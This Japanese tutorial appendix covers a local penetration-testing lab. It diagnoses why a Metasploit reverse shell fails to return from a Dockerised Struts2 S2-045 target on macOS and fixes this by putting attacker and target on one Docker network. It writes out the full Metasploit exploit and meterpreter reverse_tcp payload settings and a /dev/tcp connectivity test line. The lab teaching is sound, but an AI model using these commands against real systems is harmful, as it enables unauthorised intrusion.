コンテンツにスキップ

付録D. reverse shell が戻らないとき(macOS Docker の罠)

これは補足(トラブルシューティング)です。本筋は nmap → Metasploit → meterpreter の3つの道具の使い方。 この付録は「exploit は成功したのに meterpreter > にならない」という、 macOS 特有のつまずきに当たったときだけ読めば十分です。


症状

STEP 7 で exploit を打つと、こうなる:

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
  • check は通る(脆弱性はある)
  • 攻撃コードも届いている
  • なのにセッション(meterpreter)が開かない

reverse shell とは(なぜ「戻り」が要るか)

flowchart LR
    A["攻撃役<br>(自分)"] -->|① 攻撃を送る| T["的サーバー"]
    T -->|② 的が自分から<br>接続を返す(reverse)| A
    style A fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
    style T fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3

reverse_tcp ペイロードは、侵入後に的が「自分(攻撃役)に接続を返してくる」方式です。 だから「自分(LHOST)が、的から見て到達できる場所にいる」必要があります。 ここが届かないと、攻撃が成功しても戻ってこないのです。


原因の切り分け(推測せず、証拠で確定する)

「ツールが悪い」「回線が悪い」と推測する前に、的から自分に戻れるかだけを直接テストします。

テスト:的コンテナから Mac 本体に戻れるか

# Mac側で待ち受け(別ターミナルで)
nc -l 4444

# 的コンテナから Mac に向けて送ってみる
docker exec struts2-s2045 bash -c "echo HELLO > /dev/tcp/host.docker.internal/4444"

結果:

bash: connect: Network is unreachable

的コンテナが Mac 本体に戻れないことが判明。さらに切り分けると:

的から → 結果
外部インターネット(1.1.1.1) ✅ 到達できる
他のコンテナ ✅ 到達できる
Mac 本体 ❌ 届かない

真因:macOS の Docker の構造

flowchart TB
    subgraph Mac["Mac 本体(macOS)"]
        subgraph LVM["Docker が内部に持つ Linux VM"]
            C1["的コンテナ"]
            C2["他のコンテナ"]
            C1 -.->|✅ 届く| C2
            C1 -->|✅ 届く| NET["外部インターネット"]
        end
        C1 -.->|❌ 届かない| HOST["Mac 本体の待ち受け"]
    end
    style C1 fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
    style HOST fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3

macOS の Docker は、内部の Linux VM の中でコンテナを動かしている。 だからコンテナから見ると Mac 本体は「VM のさらに外」にいて、reverse shell が戻れない。

🔑 ここが結論:reverse が戻らなかったのは、 ngrok のせいでも、回線(CGNAT)のせいでも、エミュレーションのせいでもなく、 「macOS の Docker の構造」が原因でした。 ツールをあれこれ変える前に、証拠で原因を切り分けることが遠回りを防ぎます。


解決:攻撃役と的を「同じ Docker ネットワーク」に置く

コンテナ同士なら到達できることは確認済み。 ならば「攻撃役もコンテナにして、的と同じネットワークに入れる」だけで解決します。

flowchart TB
    subgraph NET["専用ネットワーク pentest-lab"]
        ATK["attacker<br>Metasploit コンテナ<br>10.10.10.2"]
        TGT["struts2-s2045<br>的サーバー<br>10.10.10.3"]
        ATK -->|攻撃| TGT
        TGT -->|✅ reverse shell が戻る| ATK
    end
    style ATK fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
    style TGT fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3

手順

# ① 専用ネットワークを作る
docker network create pentest-lab

# ② 的を そのネットワークに繋ぐ(既に起動済みの的を接続)
docker network connect pentest-lab struts2-s2045

# ③ 攻撃役(Metasploit コンテナ)を同じネットワークで起動
docker run -d --name attacker --network pentest-lab \
  --entrypoint sleep \
  metasploitframework/metasploit-framework infinity

# ④ それぞれの ネットワーク内IPを確認
docker inspect attacker      --format '{{.NetworkSettings.Networks.pentest-lab.IPAddress}}'
docker inspect struts2-s2045 --format '{{.NetworkSettings.Networks.pentest-lab.IPAddress}}'

攻撃役コンテナの中で Metasploit を動かす

# 攻撃役コンテナに入る
docker exec -it attacker bash

# コンテナ内で Metasploit を起動(このイメージでは ./ が必要)
cd /usr/src/metasploit-framework
./msfconsole

msf6 > が出たら、07章と同じ流れ。 ただし IP は「同じネットワーク内のIP」 を使う:

use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set RHOSTS <的のネットワーク内IP>       # 例: 10.10.10.3
set RPORT 8080                           # ネット内では元の 8080
set TARGETURI /showcase.action
set LHOST <攻撃役のネットワーク内IP>     # 例: 10.10.10.2 ← ここが戻り先
set LPORT 4444
check
exploit

今度は——

[*] Meterpreter session 1 opened (10.10.10.2:4444 -> 10.10.10.3:xxxxx)
meterpreter >

reverse shell が戻り、侵入成功! 🎉 ngrok も VPN も固定IPも要りませんでした。


この学びは「実務」にそのまま効く

flowchart LR
    L["ローカル練習<br>攻撃役と的を<br>同じDockerネットに"] -.同じ原理.-> R["実務<br>攻撃用マシンを<br>標的と同じクラウド/ネットに"]
    style L fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3
    style R fill:#2d333b,stroke:#bc8cff,stroke-width:2px,color:#e6edf3

「攻撃役を標的と同じネットワークに置けば、戻りの壁は消える」—— この原理は、オンラインのステージング診断でも同じです。 攻撃用マシンを標的と同じクラウド内に置けば、回線(CGNAT)に関係なく reverse が通ります。

📎 補足:標的と同じネットに置けない場合の代替(固定IP付きVPN、トンネル等)は、 環境・契約・守秘のトレードオフがあります。詳しくは実務の判断材料として別途。


後片付け

docker rm -f attacker
docker network rm pentest-lab
# 的も終わったら消す
docker rm -f struts2-s2045